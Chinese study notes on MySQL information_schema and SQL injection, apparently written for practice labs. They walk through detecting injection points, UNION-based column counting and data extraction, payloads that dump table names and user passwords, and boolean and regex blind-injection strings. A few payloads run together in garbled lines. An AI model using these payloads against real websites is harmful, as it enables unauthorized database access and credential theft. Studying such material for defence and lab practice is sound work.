information_schema库
information_schema中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
1.SCHEMATA
- 提供了当前mysql数据库中所有数据库的信息,其中SCHEMA_NAME字段保存了所有的数据库名。
- 查看所有数据库,使用如下SQL语句::
show databases=====select schema_name from information_schema.schemata limit 0,1
其中limit 0,1用来获取第一条记录,通过递增第一个参数,可以每次获取一条记录,也就是一次获取一个数据库名,直到出现错误为止,说明没有更多的错误。
2.TABLES
- 提供了关于数据库中的表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,其中table_name字段保存了所有列名信息。
- 通过information_schema数据库来查询sqli数据库中所有的表,使用如下SQL语句:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'sqli';
======show tables from sqli;
3.COLUMNS
- 提供了表中的列信息。表述了某张表的所有列以及每个列的信息(某个表属于哪个schema和table),其中column_name保存了所有的字段信息。
- 通过information_schema数据库的columns表查询sqli数据库中user表中所有的字段,使用如下SQL语句:
select column_name from information_schema.columns where TABLE_SCHEMA='sqli' and TABLE_NAME='user';==========show columns from sqli.user;
HTTP请求的两种基本方法
1.get
在url的参数中,保存在浏览器的日志里,不安全。参数是有长度限制。
2.post
在request body传递参数,安全,可传递敏感信息。
二者都是超全局变量。
SQL注入原理
1.提交的参数,改变了原来SQL语句的含义,并且被服务器当成SQL语句执行了,这就是SQL注入!
2.判断网站是否存在注入点:
- 加了单引号以后,页面显示不正常或者错误,则说明网页存在SQL注入。
- 加and 1=1 页面显示正常,加and 1=2页面不正常或者错误,(字符型会显示正确,数字型会报错)同样说明存在SQL注入。
3.万能密码:
select * from `new` where id = 1 or 1=1
它这里只要满足id =1 或者1=1任意一个条件,而1=1永远为真,所以返回了所有的数据,其效果与select * from `new`一样。
4.通过在第一个查询后面注入一个union运算符,并添加另外一个任意查询,就可以读取到数据库中用户可以访问的任何表。但是,使用union有一些限制:
- 两个查询返回的列数必须型相同。
- 两个select语句对应列所返回的数据类型必须是相同或者是兼容的。
- union默认情况下会消去表中重复行,当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。
5.获取当前查询的列数:
Order by 是根据指定的列名进行排序。通过增大order by 中代表列的数字来识别查询中的列数。
6.如何获取想要的数据呢?这就需要确定哪个列最终会被输出。
例如:http://sqli.com/sqli-1.php?id=1 union select 1,2,3
可以看到页面输出2,3,这就说明在前一个查询中,第二列和第三列被输出来了。
替换成数字以外的字符的时候,字符需要用双引号或者单引号引起来,否则就是SQL语法错误了。
若页面没有输出则将id值改为-1,因为id取值为-1使得前面的sql语句不能返回任何结果集,故页面中会显示出union select的结果。
7.在第二个select中,如果该列被原样输出了,说明在该列可以用来获取信息。
确定输出位置以后,我们就可以用来获取数据啦!执行database()来查看当前数据库,执行user()来查看当前连接数据库的用户。
8.在不知道建表语句的情况下
- 通过information_schema构造获取所有数据库的语句:
http://sqli.com/sqli-1.php?id=1 union select 1,schema_name,3 from information_schema.schemata。
获取了所有的数据库库名:information_schema;mysql;performance_schema;sqli;test - 想要获取mysql的账号和密码,首先查看mysql这个数据库中有哪些表,构造如下语句:
1 union select 1, table_name,3 from information_schema.tables where table_schema='mysql'id=-1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--+
利用group_concat函数将表名连接成一组字符串。 -
获取该表中的所有列名,构造如下语句:
1 union select 1, column_name, 3 from information_schema.columns where table_name ='user' and table_schema='mysql'存在User字段和Password字段。
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+将正则匹配到最后时即'^username'正确,即得到列名。也可尝试'^password'发现同样返回正确。如果想确定就是这个列名可使用'^username$'。
-
查询用户的账号和密码,构造语句如下:
1 union select 1, User, Password from mysql.userid=-1'+union+select+1,group_concat(id,0x3a,username,0x7e,password),3+from+users--+
其中0x3a表示:,0x7e表示~,利用group_concat函数连接一组字符串。
9.id=1'and left(version(),1)=5--+
取版本左数的第一个字符,可以看到数据库版本是大于等于5.0的。
SQL盲注
1.原理:执行插入的语句后,不管是否执行,是否成功,都不会回显详细的错误信息。手工盲注的过程,就像你和机器人聊天一样,这个机器人知道的很多,但是只会回答“是” 或者 “不是”。通过多次猜解获得想要的信息。
2.分类:
- 基于布尔值的盲注;
- 基于时间的盲注;
- 基于报错的盲注;
3.常用PHP代码:
- substr(string,start,length)
-
select * from tablename limit 0,5
#即取出第1条至第5条,共计5条记录; -
select * from tablename limit 5,5
#即取出第6条至第10条,5条记录 -
ASCII(str)——>返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
-
Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00、\n、\r、’、"、\x1a 等进项转移。
-
ord(mid((select ifnull(cast(username as char),0x20) from users order by id limit 0,1),1,1))=68--+
函数ord(),mid(),IFNULL(),CAST(),其中ord函数相当于ascii函数,求得最左边字符的ascii码;mid函数相当于substr函数,截取一段字符;IFNULL(a,b)函数是来判断,若a为空则返回b,若a不为空则返回a;CAST(str AS int)将字符串转换为目标数据类型
4.基于时间的盲注:根据有无延迟来判断,不根据提示语来判断。如果有延迟,则证明存在SQL注入。
详情见: